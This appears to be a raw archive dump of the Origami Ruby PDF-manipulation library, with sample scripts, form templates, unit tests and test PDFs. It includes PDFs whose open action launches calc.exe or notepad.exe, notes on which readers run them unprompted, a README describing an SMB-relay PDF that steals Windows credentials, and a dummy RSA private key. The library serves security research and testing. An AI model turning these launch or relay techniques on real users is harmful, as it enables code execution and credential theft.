started and tries to download \"xcalc\" Note: For Linux and Mac, no argument can be given to the command... EOS contents.write content, :x => 75, :y => 600, :rendering => Text::Rendering::FILL page = Page.new.setContents( contents ) pdf.append_page( page ) pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/actions/launch/winparams.pdf0000644000175000017500000000123211541257434023207 0ustar terceiroterceiro%PDF-1.1 1 0 obj << /OpenAction << /Win << /D (C:\\\\WINDOWS\\\\system32) /P (test.txt) /F (C:\\\\WINDOWS\\\\system32\\\\notepad.exe) >> /S /Launch >> /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /MediaBox [ 0 0 795 842 ] /Parent 2 0 R /Resources << /Font << /F1 << /Name /F1 /BaseFont /Helvetica /Subtype /Type1 /Type /Font >> >> >> /Type /Page >> endobj xref 0 4 0000000000 65535 f 0000000010 00000 n 0000000223 00000 n 0000000292 00000 n trailer << /Root 1 0 R /Size 4 >> startxref 511 %%EOF origami-pdf-1.2.7/samples/actions/launch/winparams.rb0000755000175000017500000000112611645333134023043 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" params = Action::Launch::WindowsLaunchParams.new params.F = "C:\\\\WINDOWS\\\\system32\\\\notepad.exe" # application or document to launch params.D = "C:\\\\WINDOWS\\\\system32" # new current directory params.P = "test.txt" # parameter to pass if F is an application action = Action::Launch.new action.Win = params PDF.new.onDocumentOpen( action ).save(OUTPUTFILE) origami-pdf-1.2.7/samples/README.txt0000644000175000017500000000262711555337617017317 0ustar terceiroterceiro:: SUBDIRECTORIES ================= ``attachments/`` * Adding a file attachment to a PDF document. ``crypto/`` * PDF encryption (supports RC4 40-128 bits, and AES128). - crypto.rb : Create a simple encrypted document. - encrypt.rb : Encrypt an existing document. ``digsig/`` * PDF digital signatures. Create a new document and signs it with test.key. ``exploits/`` * Basic exploits PoC generation. ``flash/`` * PDF with Flash object. Create a document with an embedded SWF file. ``actions/launch/`` * Launch action. Create a document launching the calculator on Windows, Unix and MacOS. ``actions/loop/`` * Create a looping document using GoTo and Named actions (see also moebius in the scripts directory). ``actions/named/`` * Named action. Create a document prompting for printing. ``actions/triggerevents/`` * Create a document launching JS scripts on various events. ``actions/webbug/`` * Create a document connecting to a remote server. - webbug-browser.rb : Connection using a URI action. - webbug-reader.rb : Connection using a SubmitForm action. - webbug-js.rb : Connection using JS script. ``actions/samba/`` * Implementation of a SMB relay attack using PDF. When opened in a browser on Windows, the document tries to access a document shared on a malicious SMB server (on a LAN). The server will then be able to steal user credentials. This script merely forges the malicious PDF document. origami-pdf-1.2.7/templates/0000755000175000017500000000000012427006355016133 5ustar terceiroterceiroorigami-pdf-1.2.7/templates/widgets.rb0000644000175000017500000001261011354401425020121 0ustar terceiroterceiro=begin = File widgets.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Template class Button < Annotation::Widget::PushButton def initialize(x,y,width,height, caption, id = nil) super() set_indirect(true) self.H = Annotation::Widget::Highlight::INVERT self.Rect = [ x, y, x+width, y+height ] self.F = Annotation::Flags::PRINT self.T = id appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode) appstm.BBox = [ 0, 0, width, height ] appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ] appstm.draw_rectangle(0, 0, width, height, :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(0xE6, 0xE6, 0xFA)) appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]], :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0)) appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]], :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130)) appstm.draw_rectangle(0.5, 0.5, width-1, height-1, :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) text_width = 4.75 * caption.length appstm.write(caption, :x => (width - text_width)/2, :y => height/2-5, :size => 10) appstm.Resources = Resources.new set_normal_appearance(appstm) end end class Edit < Annotation::Widget::Text def initialize(x,y,width,height, id) super() set_indirect(true) self.Rect = [ x, y, x+width, y+height ] self.F = Annotation::Flags::PRINT self.T = id self.DA = '/F1 12 Tf 0 g' appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode) appstm.BBox = [ 0, 0, width, height ] appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ] appstm.draw_rectangle(0, 0, width, height, :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]], :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130)) appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]], :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0)) appstm.draw_rectangle(0.5, 0.5, width-1, height-1, :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) set_normal_appearance(appstm) end end class MultiLineEdit < Edit def initialize(x,y,width,height, id) super(x,y,width,height,id) self.Ff ||= 0 self.Ff |= Annotation::Widget::Text::Flags::MULTILINE end end class RichTextEdit < MultiLineEdit def initialize(x,y,width,height, id) super(x,y,width,height,id) self.F |= Annotation::Flags::READONLY self.Ff |= (Annotation::Widget::Text::Flags::RICHTEXT | Field::Flags::READONLY) end end class PasswordEdit < Edit def initialize(x,y,width,height, id) super(x,y,width,height,id) self.Ff ||= 0 self.Ff |= Annotation::Widget::Text::Flags::PASSWORD end end class TextPanel < Annotation::FreeText def initialize(x,y,width,height, id) super() set_indirect(true) self.Rect = [ x, y, x+width, y+height ] self.F = Annotation::Flags::PRINT self.NM = id self.DA = '/F1 12 Tf 0 g' appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode) appstm.BBox = [ 0, 0, width, height ] appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ] appstm.draw_rectangle(0, 0, width, height, :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]], :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130)) appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]], :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0)) appstm.draw_rectangle(0.5, 0.5, width-1, height-1, :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0)) set_normal_appearance(appstm) end end end end origami-pdf-1.2.7/templates/xdp.rb0000644000175000017500000000551011460322363017250 0ustar terceiroterceiro=begin = File xdp.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Template class XMLForm < XDP::Package def initialize(script = "") super() self.root.add_element(create_config_packet) self.root.add_element(create_template_packet(script)) self.root.add_element(create_datasets_packet) end def create_config_packet config = XDP::Packet::Config.new present = config.add_element(XFA::Element.new("present")) pdf = present.add_element(XFA::Element.new("pdf")) interactive = pdf.add_element(XFA::Element.new("interactive")) interactive.text = 1 config end def create_template_packet(script) template = XDP::Packet::Template.new form1 = template.add_subform(:layout => 'tb', :name => 'form1') form1.add_pageSet form1.add_event(:activity => 'initialize', :name => 'event__ready'). add_script(:contentType => 'application/x-formcalc'). text = script subform = form1.add_subform button = subform.add_field(:name => 'Button1') button.add_ui.add_button(:highlight => 'inverted') btncaption = button.add_caption btncaption.add_value.add_text.text = "Send!" btncaption.add_para(:vAlign => 'middle', :hAlign => 'center') button.add_bind(:match => 'none') button.add_event(:activity => 'click', :name => 'event__click'). add_script(:contentType => 'application/x-formcalc'). text = script txtfield = subform.add_field(:name => 'TextField1') txtfield.add_ui.add_textEdit.add_border.add_edge(:stroke => 'lowered') template end def create_datasets_packet datasets = XDP::Packet::Datasets.new data = datasets.add_element(XDP::Packet::Datasets::Data.new) data. add_element(XFA::Element.new('form1')). add_element(XFA::Element.new('TextField1')). text = '$host.messageBox("test")' datasets end end end end origami-pdf-1.2.7/templates/patterns.rb0000644000175000017500000000321311354401425020312 0ustar terceiroterceiro=begin = File patterns.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Template class AxialGradient < Graphics::Pattern::Shading::Axial def initialize(from, to, color0, color1, coeff = 1) super() set_indirect(true) x, y = from tx, ty = to c0 = Graphics::Color.to_a(color0) c1 = Graphics::Color.to_a(color1) space = case c0.size when 1 then Graphics::Color::Space::DEVICE_GRAY when 3 then Graphics::Color::Space::DEVICE_RGB when 4 then Graphics::Color::Space::DEVICE_CMYK end f = Function::Exponential.new f.Domain = [ 0.0, 1.0 ] f.N = coeff f.C0, f.C1 = c0, c1 self.ColorSpace = space self.Coords = [ x, y, tx, ty ] self.Function = f self.Extend = [ true, true ] end end end end origami-pdf-1.2.7/test/0000755000175000017500000000000012427006355015114 5ustar terceiroterceiroorigami-pdf-1.2.7/test/dataset/0000755000175000017500000000000012427006355016541 5ustar terceiroterceiroorigami-pdf-1.2.7/test/dataset/calc.pdf0000755000175000017500000000402011645333134020134 0ustar terceiroterceiro%PDF-1.1 1 0 obj << /Type /Catalog /OpenAction << /F << /DOS (C:\\\\WINDOWS\\\\system32\\\\calc.exe) /Unix (/usr/bin/xcalc) /Mac (/Applications/Calculator.app) >> /S /Launch >> /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Count 1 /Kids [ 3 0 R ] >> endobj 3 0 obj << /Type /Page /Contents 4 0 R /Parent 2 0 R /MediaBox [ 0 0 795 842 ] /Resources << /Font << /F1 5 0 R >> >> >> endobj 4 0 obj << /Length 1260 >>stream BT /F1 30 Tf 350 750 Td 20 TL 1 Tr (calc.pdf) Tj ET BT /F1 15 Tf 233 690 Td 20 TL 0 Tr (This page is empty but it should start calc :-D) Tj ET BT /F1 15 Tf 233 670 Td 20 TL (Dont be afraid of the pop-ups, just click them...) Tj ET BT /F1 14 Tf 75 620 Td 20 TL 2 Tr (Comments:) Tj ET BT /F1 12 Tf 75 600 Td 20 TL 0 Tr (Windows:) Tj ( - Foxit: runs calc.exe at the document opening without any user confirmation message \(!\) ) ' ( - Acrobat Reader *:) ' ( 1. popup proposing to open "calc.exe" \(warning\)) ' ( 2. starts "calc.exe") ' () ' (Mac:) ' ( - Preview does not support PDF keyword /Launch) ' ( - Acrobat Reader 8.1.2: starts Calculator.app) ' () ' (Linux:) ' ( ! Assumes xcalc is in /usr/bin/xcalc) ' ( - poppler: does not support PDF keyword /Launch) ' ( - Acrobat Reader 7: ) ' ( 1. popup telling it can not open "xcalc" \(dumb reasons\)) ' ( 2. popup proposing to open "xcalc" \(warning\)) ' ( 3. starts "xcalc") ' ( - Acrobat Reader 8.1.2: based on xdg-open) ' ( - if you are running KDE, Gnome or xfce, xcalc is started after a popup) ' ( - otherwise, your brower is started and tries to download "xcalc") ' () ' (Note:) ' (For Linux and Mac, no argument can be given to the command...) ' ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica >> endobj xref 0 6 0000000000 65535 f 0000000010 00000 n 0000000234 00000 n 0000000303 00000 n 0000000457 00000 n 0000001776 00000 n trailer << /Root 1 0 R /Size 6 >> startxref 1868 %%EOF origami-pdf-1.2.7/test/dataset/crypto.pdf0000755000175000017500000000217011645333134020556 0ustar terceiroterceiro%PDF-1.5 1 0 obj << /Type /Catalog /Pages 3 0 R >> endobj 2 0 obj << /CF << /StdCF << /CFM /AESV2 /Length 16 /AuthEvent /DocOpen >> >> /U (^v@~RO) /StmF /StdCF /StrF /StdCF /EncryptMetadata true /Length 128 /R 4 /O (6Eӝu;|,\(fZ5?4Sh\\W) /V 4 /Filter /Standard /P 4294967292 >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 4 0 obj << /Type /Page /Contents 5 0 R /Parent 3 0 R /MediaBox [ 0 0 795 842 ] /Resources << /Font << /F1 6 0 R >> >> >> endobj 5 0 obj << /Length 80 >>stream <5tr'+Xys::|t0ɀ3w7o_ /]dV~mr0} ^gW8` endstream endobj 6 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica >> endobj xref 0 7 0000000000 65535 f 0000000010 00000 n 0000000067 00000 n 0000000380 00000 n 0000000449 00000 n 0000000603 00000 n 0000000740 00000 n trailer << /Encrypt 2 0 R /Root 1 0 R /Size 7 /ID [ (ab6b04434692cfa11b430c824105ff35) (ab6b04434692cfa11b430c824105ff35) ] >> startxref 832 %%EOF origami-pdf-1.2.7/test/dataset/test.dummykey0000755000175000017500000000321311645333134021307 0ustar terceiroterceiro-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEApU1Hrr0RnHsh0dP5V8BPX+Q/jR/TVboZUaaNT+4fUYl7p6fM aQI0qEY3xMOMRtIVqWTzARCumhRjVzCQzwawS5ZFiL6mU9F1NODxtj0KkgUXQ7Ll DPR6HY0wc4IFlGw9DNdapEPhK3DOmsBWimwiekqSOaCYhq/iv32uyYs+mNVlfgjB aQxE6zyDsdizMj+hDAHfuc4zbXFVn2E1rk9dMM5ozhvD6EX6CxLb2SkZyeiG4oXQ A6z9RHyfupOxhpHMxpt3ykteKyhA9icplO/OUrASsJyKk5w+V6Xd3z3FI9JDVbWK SCJ8fqEkVy7K4FJjHmJg6v1pOujZPe65EnR43QIDAQABAoIBAAphDtYu8vMjXB1D tQ1IevNnboIa9HcWh050Kb1SE09YVZZSV+hkBhBm0Eufh6hOuqN3Pjbb6Equawpn d0A4iEtGtTj/14u9xCE82pB5xrcicLKEghNNKnm+isNF77nBDhhHUV6tEG9c1uwq lYR9g7CwC/xoVAto8dDaQGZRQu3vpmDN2RMbaEN5EY/rNGYDfe0OM8MnNdxJPDAc 75jCd0N0SDB4GpLW3hYDbajhJVf4rb0nAelaz+FDF/m1wWyQP5752RrDiptFEscN U8hTNHNcdxStdm7mJat3O47rVXjLtomttUDHxQIKqMbZsK/uNcV3jQEYmiojuwOF WhEtG7UCgYEA2IEQnIoS/P3ZMofjYYNtl1etQ0W9pVS7h/7KgClBNdxL5YqAYEYc Bab/bbcuQKmN0krA5/TqFo+VBhJ+QkejfB2Xk3sFn3gavg/tABCaSckegJ/5q5om IONTnOrWNRtVAGgg/R85kycJjZjqfq5NslfPU5oUAeerek37r/YrTbMCgYEAw3UF 9mbgL8v1ssY/dJHmIs3EWqx9++5WlxvCdjUcFmngaXY6ledgtJHE8JIovw1wzvsi 91bRwVAfszzZFMVEB+vNFBy3ccFxi1ouyau29GumcjQv9ai8sIvX4eLeHP8Fi8DV wNO9sA6ji3OFlhBeSyRucT/j6ayU9HpY1s+Rdy8CgYBdr2PHyTu0PAhrhD/RZ3TZ w3fXH2uUClln3Mo1sSRlsSEqf8dTYaMokv3+tQCPvI8BC5X0CZfuEU2UJhZ6idNl lsyLZfWl7uvriKqul4CcIypO0GrSZc7P9m6s/TWaH2yl02lK/uMEGSVaH2yBSt2W KccuTwMPW/do4iviFazhXwKBgBZBLsqdcA1BJdqTJAp7yj5QO3kvhrC2tHlEGeIn rekHaRvY8Fa9H4+vwUK7AZSvTRbkFVkgM4XVP6bC2Ny6kUJtoM4XbvOu2OTLAeTI fm5aC3uZYZSQ/9sCMTRxBmU6zEDbVfs8oK55HDn2j1FEz9eycDjI04R5uAQWIiNj QubVAoGBAIP1rmU6OrRcwPUY74okeJLMYKiCWVkL4lhqfik/5kmXRmszfnd0pf2z VtdfGmfuycI2HeFGOO3o88y9TcZ9nq7/ZavwNEYrbiBRnVC8anDqW+YJT0ytb2Nc bJVRuY1tVHAqIVjgtFUlqIKPEl5c6cnFcCP5j5RpuywCgNM+U2th -----END RSA PRIVATE KEY----- origami-pdf-1.2.7/test/dataset/test.dummycrt0000755000175000017500000000330411645333134021310 0ustar terceiroterceiro-----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIJAPsOg8mXiWmIMA0GCSqGSIb3DQEBBQUAMIGhMQswCQYD VQQGEwJGUjEWMBQGA1UECBMNSWxlLWRlLUZyYW5jZTEOMAwGA1UEBxMFUGFyaXMx DzANBgNVBAoTBlNvZ2V0aTENMAsGA1UECxMERVNFQzEaMBgGA1UEAxQRR3VpbGxh dW1lIERlbHVncoIxLjAsBgkqhkiG9w0BCQEWH2RhcmtwaG9lbml4QGJpbmFyeS1y ZXZlcnNlci5vcmcwHhcNMDgwODIwMTIyMTMxWhcNMTgwODE4MTIyMTMxWjCBoTEL MAkGA1UEBhMCRlIxFjAUBgNVBAgTDUlsZS1kZS1GcmFuY2UxDjAMBgNVBAcTBVBh cmlzMQ8wDQYDVQQKEwZTb2dldGkxDTALBgNVBAsTBEVTRUMxGjAYBgNVBAMUEUd1 aWxsYXVtZSBEZWx1Z3KCMS4wLAYJKoZIhvcNAQkBFh9kYXJrcGhvZW5peEBiaW5h cnktcmV2ZXJzZXIub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA pU1Hrr0RnHsh0dP5V8BPX+Q/jR/TVboZUaaNT+4fUYl7p6fMaQI0qEY3xMOMRtIV qWTzARCumhRjVzCQzwawS5ZFiL6mU9F1NODxtj0KkgUXQ7LlDPR6HY0wc4IFlGw9 DNdapEPhK3DOmsBWimwiekqSOaCYhq/iv32uyYs+mNVlfgjBaQxE6zyDsdizMj+h DAHfuc4zbXFVn2E1rk9dMM5ozhvD6EX6CxLb2SkZyeiG4oXQA6z9RHyfupOxhpHM xpt3ykteKyhA9icplO/OUrASsJyKk5w+V6Xd3z3FI9JDVbWKSCJ8fqEkVy7K4FJj HmJg6v1pOujZPe65EnR43QIDAQABo4IBCjCCAQYwHQYDVR0OBBYEFFX7JF1lbd5q oNhQCMUWOnUXVu7gMIHWBgNVHSMEgc4wgcuAFFX7JF1lbd5qoNhQCMUWOnUXVu7g oYGnpIGkMIGhMQswCQYDVQQGEwJGUjEWMBQGA1UECBMNSWxlLWRlLUZyYW5jZTEO MAwGA1UEBxMFUGFyaXMxDzANBgNVBAoTBlNvZ2V0aTENMAsGA1UECxMERVNFQzEa MBgGA1UEAxQRR3VpbGxhdW1lIERlbHVncoIxLjAsBgkqhkiG9w0BCQEWH2Rhcmtw aG9lbml4QGJpbmFyeS1yZXZlcnNlci5vcmeCCQD7DoPJl4lpiDAMBgNVHRMEBTAD AQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCIM2oUlghWGNqGPtFThC4mhSjkLE3FMrhw ZMUCGCoBejtw8FewdaAj1TwjbN/QXT8C6whAuVMrBkTiPKWkT7p9VjwuP7+U84OP lF7iHrnhD0WUsgrymoMn6e653VEh8rY1W7qQ5Z9qjdUD4EVLO7eQiqeUgvoi/bC+ 9wJlR5CfjY+lUQx5upZzm+quG3nq4m8Je0Ewv95euZP6vLGbzEvoHd97pwczJILZ 5hhFDb8fSP0nuwb4XSzZIsTmEU53sOhwXMosuTnIAzLnmKWiLQexQwebECvuPMVF 6VWc5hAV5gi8fMvQ2z2h+sCNNsfyauZQIIzGXZu/XU+xjFStyViC -----END CERTIFICATE----- origami-pdf-1.2.7/test/dataset/empty.pdf0000755000175000017500000000103311645333134020371 0ustar terceiroterceiro%PDF-1.0 1 0 obj << /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Kids [ 3 0 R ] /Count 1 /Type /Pages >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [ 0 0 795 842 ] /Resources << /Font << /F1 4 0 R >> >> >> endobj 4 0 obj << /Name /F1 /Subtype /Type1 /Type /Font /BaseFont /Helvetica >> endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000067 00000 n 0000000136 00000 n 0000000272 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 364 %%EOF origami-pdf-1.2.7/test/tc_annotations.rb0000644000175000017500000000443012122110015020442 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_Annotations< Test::Unit::TestCase def setup @target = PDF.new @page = Page.new @action = Action::JavaScript["app.alert(null);"] @output = StringIO.new end # def teardown # end def test_annotations circle = Annotation::Circle.new square = Annotation::Square.new text = Annotation::Text.new link = Annotation::Link.new file = Annotation::FileAttachment.new screen = Annotation::Screen.new sound = Annotation::Sound.new pushbutton = Annotation::Widget::PushButton.new checkbox = Annotation::Widget::CheckBox.new radio = Annotation::Widget::Radio.new edit = Annotation::Widget::Text.new combo = Annotation::Widget::ComboBox.new list = Annotation::Widget::ListBox.new sig = Annotation::Widget::Signature.new @target.append_page @page assert_nothing_raised do @page.add_annot circle @page.add_annot square @page.add_annot text @page.add_annot link @page.add_annot file @page.add_annot screen @page.add_annot sound @page.add_annot pushbutton @page.add_annot checkbox @page.add_annot radio @page.add_annot edit @page.add_annot combo @page.add_annot list @page.add_annot sig end assert_nothing_raised do @target.save(@output) end end def test_annotation_actions screen = Annotation::Screen.new @page.add_annot screen screen.onMouseOver @action screen.onMouseOut @action screen.onMouseDown @action screen.onMouseUp @action screen.onFocus @action screen.onBlur @action screen.onPageOpen @action screen.onPageClose @action screen.onPageVisible @action screen.onPageInvisible @action assert_equal screen.AA.E, @action assert_equal screen.AA.X, @action assert_equal screen.AA.D, @action assert_equal screen.AA.U, @action assert_equal screen.AA.Fo, @action assert_equal screen.AA.Bl, @action assert_equal screen.AA.PO, @action assert_equal screen.AA.PC, @action assert_equal screen.AA.PV, @action assert_equal screen.AA.PI, @action end end origami-pdf-1.2.7/test/tc_pdfencrypt.rb0000644000175000017500000000551411645333134020311 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_PdfEncrypt < Test::Unit::TestCase def setup @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) @output = StringIO.new end # def teardown # end def test_encrypt_rc4_40b @output.string = "" assert_nothing_raised do @target.encrypt(:cipher => 'rc4', :key_size => 40).save(@output); end end def test_encrypt_rc4_128b @output.string = "" assert_nothing_raised do @target.encrypt(:cipher => 'rc4').save(@output); end end def test_encrypt_aes_128b @output.string = "" assert_nothing_raised do @target.encrypt(:cipher => 'aes').save(@output); end end def test_decrypt_rc4_40b pdf = nil @output.string = "" assert_nothing_raised do pdf = PDF.new.encrypt(:cipher => 'rc4', :key_size => 40) pdf.Catalog[:Test] = "test" pdf.save(@output) end assert_not_equal pdf.Catalog[:Test], "test" assert_nothing_raised do @output = @output.reopen(@output.string, "r") pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) end assert_equal pdf.Catalog[:Test], "test" end def test_decrypt_rc4_128b pdf = nil @output.string = "" assert_nothing_raised do pdf = PDF.new.encrypt(:cipher => 'rc4') pdf.Catalog[:Test] = "test" pdf.save(@output) end assert_not_equal pdf.Catalog[:Test], "test" assert_nothing_raised do @output.reopen(@output.string, "r") pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) end assert_equal pdf.Catalog[:Test], "test" end def test_decrypt_aes_128b pdf = nil @output.string = "" assert_nothing_raised do pdf = PDF.new.encrypt(:cipher => 'aes') pdf.Catalog[:Test] = "test" pdf.save(@output) end assert_not_equal pdf.Catalog[:Test], "test" assert_nothing_raised do @output = @output.reopen(@output.string, "r") pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) end assert_equal pdf.Catalog[:Test], "test" end def test_decrypt_aes_256b pdf = nil @output.string = "" assert_nothing_raised do pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256) pdf.Catalog[:Test] = "test" pdf.save(@output) end assert_not_equal pdf.Catalog[:Test], "test" assert_nothing_raised do @output = @output.reopen(@output.string, "r") pdf = PDF.read(@output, :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) end assert_equal pdf.Catalog[:Test], "test" end end origami-pdf-1.2.7/test/tc_pdfnew.rb0000644000175000017500000000105611645333134017413 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_PdfNew < Test::Unit::TestCase def setup @output = StringIO.new end # def teardown # end def test_pdf_struct pdf = PDF.new null = Null.new assert_nothing_raised do pdf << null end assert_nothing_raised do pdf.save(@output) end assert null.is_indirect? assert pdf.objects.include?(null) assert_equal pdf.revisions.first.body[null.reference], null assert_equal null.reference.solve, null end end origami-pdf-1.2.7/test/tc_pages.rb0000644000175000017500000000143311645333134017226 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_Pages < Test::Unit::TestCase def setup @target = PDF.new @output = StringIO.new end # def teardown # end def test_appendpage p1, p2, p3 = Page.new, Page.new, Page.new assert_nothing_raised do @target.append_page p1, p2, p3 end assert_equal @target.pages.size, 3 assert_equal @target.pages[0], p1 assert_equal @target.pages[1], p2 assert_equal @target.pages[2], p3 assert_equal @target.Catalog.Pages, p1.Parent assert_equal @target.Catalog.Pages, p2.Parent assert_equal @target.Catalog.Pages, p3.Parent assert_nothing_raised do @target.save(@output) end assert_equal @target.Catalog.Pages.Count, 3 end end origami-pdf-1.2.7/test/ts_pdf.rb0000644000175000017500000000220412122110015016673 0ustar terceiroterceirobegin require 'test/unit/testsuite' rescue LoadError abort "Error: you need to install test-unit" end require 'tc_pdfparse.rb' require 'tc_streams.rb' require 'tc_pdfencrypt.rb' require 'tc_pdfsig.rb' require 'tc_pdfattach.rb' require 'tc_pages.rb' require 'tc_actions.rb' require 'tc_annotations.rb' require 'tc_pdfnew.rb' begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami #class TS_PdfTests # def self.suite # suite = Test::Unit::TestSuite.new "PDF test suite" # suite << TC_PdfParse.suite # suite << TC_PdfNew.suite # suite << TC_Streams.suite # suite << TC_Pages.suite # suite << TC_PdfEncrypt.suite # suite << TC_PdfSig.suite # suite << TC_PdfAttach.suite # suite << TC_Actions.suite # suite << TC_Annotations.suite # suite # end #end #if ARGV.size > 0 and ARGV[0] == "gtk" # require 'test/unit/ui/gtk2/testrunner' # Test::Unit::UI::GTK2::TestRunner.run(TS_PdfTests) #else # require 'test/unit/ui/console/testrunner' # Test::Unit::UI::Console::TestRunner.run(TS_PdfTests) #end #exit 0 origami-pdf-1.2.7/test/tc_actions.rb0000644000175000017500000000127412122110015017550 0ustar terceiroterceirorequire 'test/unit' class TC_Actions < Test::Unit::TestCase def setup @target = PDF.new @page = Page.new @action = Action::JavaScript "app.alert(null);" end # def teardown # end def test_pdf_actions @target.onDocumentOpen @action @target.onDocumentClose @action @target.onDocumentPrint @action assert_equal @target.Catalog.OpenAction, @action assert_equal @target.Catalog.AA.WC, @action assert_equal @target.Catalog.AA.WP, @action end def test_page_actions @page.onOpen @action @page.onClose @action assert_equal @page.AA.O, @action assert_equal @page.AA.C, @action end end origami-pdf-1.2.7/test/tc_pdfsig.rb0000644000175000017500000000221311647153235017404 0ustar terceiroterceirorequire 'test/unit' require 'stringio' class TC_PdfSig < Test::Unit::TestCase def setup @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) @output = StringIO.new @cert = OpenSSL::X509::Certificate.new(File.read("test/dataset/test.dummycrt")) @key = OpenSSL::PKey::RSA.new(File.read("test/dataset/test.dummykey")) end # def teardown # end def test_sig sigannot = Annotation::Widget::Signature.new.set_indirect(true) sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0] assert_nothing_raised do @target.append_page(page = Page.new) page.add_annot(sigannot) @target.sign(@cert, @key, :annotation => sigannot, :location => "France", :contact => "fred@security-labs.org", :reason => "Proof of Concept" ) end assert @target.frozen? assert_nothing_raised do @target.save(@output) end assert PDF.read(@output.reopen(@output.string,'r'), :verbosity => Parser::VERBOSE_QUIET).verify end end origami-pdf-1.2.7/test/tc_pdfparse.rb0000644000175000017500000000410411645333134017731 0ustar terceiroterceirorequire 'test/unit' class TC_PdfParse < Test::Unit::TestCase def setup @data = %w{ test/dataset/empty.pdf test/dataset/calc.pdf test/dataset/crypto.pdf } @dict = StringScanner.new "<>>>" 